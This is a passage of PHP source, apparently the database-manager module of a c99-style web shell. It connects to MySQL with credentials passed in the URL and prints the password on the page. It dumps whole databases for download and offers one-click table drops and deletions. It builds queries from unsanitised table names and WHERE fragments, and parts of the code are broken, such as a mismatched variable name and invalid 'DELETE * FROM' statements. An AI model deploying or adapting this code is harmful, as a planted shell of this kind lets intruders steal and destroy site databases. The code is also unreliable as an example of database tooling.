  581. </div>
  582. </td></tr></table>
  583. <?php
  584. /***********************/
  585. /** INFORMATION TABLE **/
  586. /***********************/
  587. echo "<table id=maininfo><tr><td width=\"100%\">\n";
  588. if ($act == "") { $act = $dspact = "ls"; }
  589. if ($act == "sql") {
  590.   $sql_surl = $surl."act=sql";
  591.   if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  592.   if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  593.   if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  594.   if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  595.   if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  596.   $sql_surl .= "&";
  597.   echo "<h4>Attention! MySQL Manager is <u>NOT</u> a ready module! Don't reports bugs.</h4>".
  598.        "<table>".
  599.        "<tr><td width=\"100%\" colspan=2 class=barheader>";
  600.   if ($sql_server) {
  601.     $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  602.     $err = mysql_smarterror();
  603.     @mysql_select_db($sql_db,$sql_sock);
  604.     if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  605.   }
  606.   else {$sql_sock = FALSE;}
  607.   echo ".: SQL Manager :.<br>";
  608.   if (!$sql_sock) {
  609.     if (!$sql_server) {echo "NO CONNECTION";}
  610.     else {echo "Can't connect! ".$err;}
  611.   }
  612.   else {
  613.     $sqlquicklaunch = array();
  614.     $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  615.     $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  616.     $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  617.     $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  618.     $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  619.     $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  620.     echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
  621.     if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  622.   }
  623.   echo "</td></tr><tr>";
  624.   if (!$sql_sock) {
  625.     echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";
  626.     echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>";
  627.   }
  628.   else {
  629.     //Start left panel
  630.     if (!empty($sql_db)) {
  631.       ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade>
  632.       <?php
  633.       $result = mysql_list_tables($sql_db);
  634.       if (!$result) {echo mysql_smarterror();}
  635.       else {
  636.         echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
  637.         $c = 0;
  638.         while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
  639.         if (!$c) {echo "No tables found in database.";}
  640.       }
  641.     }
  642.     else {
  643.       ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade>
  644.       <?php
  645.       $result = mysql_list_dbs($sql_sock);
  646.       if (!$result) {echo mysql_smarterror();}
  647.       else {
  648.         ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db">
  649.         <?php
  650.         $c = 0;
  651.         $dbs = "";
  652.         while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
  653.         echo "<option value=\"\">Databases (".$c.")</option>";
  654.         echo $dbs;
  655.       }
  656.       ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>
  657.       <?php
  658.     }
  659.     //End left panel
  660.     echo "</td><td width=\"100%\">";
  661.     //Start center panel
  662.     $diplay = TRUE;
  663.     if ($sql_db) {
  664.       if (!is_numeric($c)) {$c = 0;}
  665.       if ($c == 0) {$c = "no";}
  666.       echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
  667.       if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  668.       echo "</b></center>";
  669.       $acts = array("","dump");
  670.       if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  671.       elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
  672.       elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
  673.       elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  674.       elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  675.       elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  676.       elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  677.       elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
  678.       elseif ($sql_tbl_act == "insert") {
  679.         if ($sql_tbl_insert_radio == 1) {
  680.           $keys = "";
  681.           $akeys = array_keys($sql_tbl_insert);
  682.           foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
  683.           if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
  684.           $values = "";
  685.           $i = 0;
  686.           foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
  687.           if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
  688.           $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
  689.           $sql_act = "query";
  690.           $sql_tbl_act = "browse";
  691.         }
  692.         elseif ($sql_tbl_insert_radio == 2) {
  693.           $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
  694.           $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
  695.           $result = mysql_query($sql_query) or print(mysql_smarterror());
  696.           $result = mysql_fetch_array($result, MYSQL_ASSOC);
  697.           $sql_act = "query";
  698.           $sql_tbl_act = "browse";
  699.         }
  700.       }
  701.       if ($sql_act == "query") {
  702.         echo "<hr size=\"1\" noshade>";
  703.         if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  704.         if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  705.         if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
  706.       }
  707.       if (in_array($sql_act,$acts)) {
  708.         ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b>
  709.         <form action="<?php echo $surl; ?>">
  710.         <input type="hidden" name="act" value="sql">
  711.         <input type="hidden" name="sql_act" value="newtbl">
  712.         <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
  713.         <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
  714.         <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
  715.         <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
  716.         <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
  717.         <input type="text" name="sql_newtbl" size="20">
  718.         <input type="submit" value="Create">
  719.         </form></td>
  720.         <td width="30%" height="1"><b>Dump DB:</b>
  721.         <form action="<?php echo $surl; ?>">
  722.         <input type="hidden" name="act" value="sql">
  723.         <input type="hidden" name="sql_act" value="dump">
  724.         <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
  725.         <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
  726.         <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
  727.         <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table>
  728.         <?php
  729.         if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
  730.         if ($sql_act == "newtbl") {
  731.           echo "<b>";
  732.           if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
  733.             echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
  734.           }
  735.           else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  736.         }
  737.         elseif ($sql_act == "dump") {
  738.           if (empty($submit)) {
  739.             $diplay = FALSE;
  740.             echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
  741.             echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
  742.             $v = join (";",$dmptbls);
  743.             echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
  744.             if ($dump_file) {$tmp = $dump_file;}
  745.             else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
  746.             echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
  747.             echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
  748.             echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
  749.             echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
  750.             echo "</form>";
  751.           }
  752.           else {
  753.             $diplay = TRUE;
  754.             $set = array();
  755.             $set["sock"] = $sql_sock;
  756.             $set["db"] = $sql_db;
  757.             $dump_out = "download";
  758.             $set["print"] = 0;
  759.             $set["nl2br"] = 0;
  760.             $set[""] = 0;
  761.             $set["file"] = $dump_file;
  762.             $set["add_drop"] = TRUE;
  763.             $set["onlytabs"] = array();
  764.             if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
  765.             $ret = mysql_dump($set);
  766.             if ($sql_dump_download) {
  767.               @ob_clean();
  768.               header("Content-type: application/octet-stream");
  769.               header("Content-length: ".strlen($ret));
  770.               header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
  771.               echo $ret;
  772.               exit;
  773.             }
  774.             elseif ($sql_dump_savetofile) {
  775.               $fp = fopen($sql_dump_file,"w");
  776.               if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
  777.               else {
  778.                 fwrite($fp,$ret);
  779.                 fclose($fp);
  780.                 echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
  781.               }
  782.             }
  783.             else {echo "<b>Dump: nothing to do!</b>";}
  784.           }
  785.         }
  786.         if ($diplay) {
  787.     if (!empty($sql_tbl)) {
  788.       if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
  789.       $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
  790.       $count_row = mysql_fetch_array($count);
  791.       mysql_free_result($count);
  792.       $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
  793.       $tbl_struct_fields = array();
  794.       while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
  795.       if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
  796.       if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
  797.       if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
  798.       if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
  799.       $perpage = $sql_tbl_le - $sql_tbl_ls;
  800.       if (!is_numeric($perpage)) {$perpage = 10;}
  801.       $numpages = $count_row[0]/$perpage;
  802.       $e = explode(" ",$sql_order);
  803.       if (count($e) == 2) {
  804.         if ($e[0] == "d") {$asc_desc = "DESC";}
  805.         else {$asc_desc = "ASC";}
  806.         $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
  807.       }
  808.       else {$v = "";}
  809.       $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
  810.       $result = mysql_query($query) or print(mysql_smarterror());
  811.       echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
  812.       echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[<b> Structure </b>]</a>&nbsp;&nbsp;&nbsp;";
  813.       echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[<b> Browse </b>]</a>&nbsp;&nbsp;&nbsp;";
  814.       echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a>&nbsp;&nbsp;&nbsp;";
  815.       echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  816.       if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
  817.       if ($sql_tbl_act == "insert") {
  818.         if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
  819.         if (!empty($sql_tbl_insert_radio)) {  } //Not Ready
  820.         else {
  821.           echo "<br><br><b>Inserting row into table:</b><br>";
  822.           if (!empty($sql_tbl_insert_q)) {
  823.             $sql_query = "SELECT * FROM `".$sql_tbl."`";
  824.             $sql_query .= " WHERE".$sql_tbl_insert_q;
  825.             $sql_query .= " LIMIT 1;";
  826.             $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
  827.             $values = mysql_fetch_assoc($result);
  828.             mysql_free_result($result);
  829.           }
  830.           else {$values = array();}
  831.           echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
  832.           foreach ($tbl_struct_fields as $field) {
  833.             $name = $field["Field"];
  834.             if (empty($sql_tbl_insert_q)) {$v = "";}
  835.             echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
  836.             $i++;
  837.           }
  838.           echo "</table><br>";
  839.           echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
  840.           if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
  841.           echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
  842.         }
  843.       }
  844.       if ($sql_tbl_act == "browse") {
  845.         $sql_tbl_ls = abs($sql_tbl_ls);
  846.         $sql_tbl_le = abs($sql_tbl_le);
  847.         echo "<hr size=\"1\" noshade>";
  848.         echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
  849.         $b = 0;
  850.         for($i=0;$i<$numpages;$i++) {
  851.           if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
  852.           echo $i;
  853.           if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
  854.           if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
  855.           else {echo "&nbsp;";}
  856.         }
  857.         if ($i == 0) {echo "empty";}
  858.         echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
  859.         echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
  860.         echo "<tr>";
  861.         echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
  862.         for ($i=0;$i<mysql_num_fields($result);$i++) {
  863.           $v = mysql_field_name($result,$i);
  864.           if ($e[0] == "a") {$s = "d"; $m = "asc";}
  865.           else {$s = "a"; $m = "desc";}
  866.           echo "<td>";
  867.           if (empty($e[0])) {$e[0] = "a";}
  868.           if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
  869.           else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
  870.           echo "</td>";
  871.         }
  872.       echo "<td><font color=\"green\"><b>Action</b></font></td>";
  873.       echo "</tr>";
  874.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
  875.        echo "<tr>";
  876.        $w = "";
  877.        $i = 0;
  878.        foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
  879.        if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
  880.        echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
  881.        $i = 0;
  882.        foreach ($row as $k=>$v)
  883.        {
  884.         $v = htmlspecialchars($v);
  885.         if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
  886.         echo "<td>".$v."</td>";
  887.         $i++;
  888.        }
  889.        echo "<td>";
  890.        echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
  891.        echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
  892.        echo "</td>";
  893.        echo "</tr>";
  894.       }
  895.       mysql_free_result($result);
  896.       echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  897.       echo "<option value=\"\">With selected:</option>";
  898.       echo "<option value=\"deleterow\">Delete</option>";
  899.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  900.      }
  901.     }
  902.     else {
  903.      $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
  904.      if (!$result) {echo mysql_smarterror();}
  905.      else
  906.      {
  907.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
  908.       $i = 0;
  909.       $tsize = $trows = 0;
  910.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  911.       {
  912.        $tsize += $row["Data_length"];
  913.        $trows += $row["Rows"];
  914.        $size = view_size($row["Data_length"]);
  915.        echo "<tr>";
  916.        echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
  917.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
  918.        echo "<td>".$row["Rows"]."</td>";
  919.        echo "<td>".$row["Type"]."</td>";
  920.        echo "<td>".$row["Create_time"]."</td>";
  921.        echo "<td>".$row["Update_time"]."</td>";
  922.        echo "<td>".$size."</td>";
  923.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
  924.        echo "</tr>";
  925.        $i++;
  926.       }
  927.       echo "<tr bgcolor=\"000000\">";
  928.       echo "<td><center><b>+</b></center></td>";
  929.       echo "<td><center><b>".$i." table(s)</b></center></td>";
  930.       echo "<td><b>".$trows."</b></td>";
  931.       echo "<td>".$row[1]."</td>";
  932.       echo "<td>".$row[10]."</td>";
  933.       echo "<td>".$row[11]."</td>";
  934.       echo "<td><b>".view_size($tsize)."</b></td>";
  935.       echo "<td></td>";
  936.       echo "</tr>";
